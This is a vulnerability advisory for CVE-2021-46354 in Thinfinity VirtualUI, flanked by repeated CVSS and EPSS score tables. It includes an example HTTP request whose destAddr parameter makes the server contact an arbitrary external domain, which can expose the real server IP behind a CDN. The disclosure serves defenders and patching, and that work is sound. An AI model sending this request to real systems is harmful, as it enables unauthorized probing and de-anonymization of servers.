5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.008 Low
EPSS
Percentile
82.1%
Exploit Title: Thinfinity VirtualUI 2.5.26.2 - Information Disclosure
Date: 18/01/2022
Exploit Author: Daniel Morales
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
Version vulnerable: Thinfinity VirtualUI < v2.5.26.2
Tested on: Microsoft Windows
CVE: CVE-2021-46354
How it works
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).
Payload
An example of the HTTP request "https://example.com/cmd <https://example.com/cmd>?
cmd=connect&wscompression=true&destAddr=domain.com <http://domain.com/>
&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191
8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp
ortsFullScreen=true&webapp=falseβ
Where "domain.com <http://domain.com/>" is the external endpoint to be requested.
Vulnerable versions
It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2
References
https://github.com/cybelesoft/virtualui/issues/3 <https://github.com/cybelesoft/virtualui/issues/3>
https://www.tenable.com/cve/CVE-2021-46354 <https://www.tenable.com/cve/CVE-2021-46354>
https://twitter.com/danielmofer <https://twitter.com/danielmofer>
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.008 Low
EPSS
Percentile
82.1%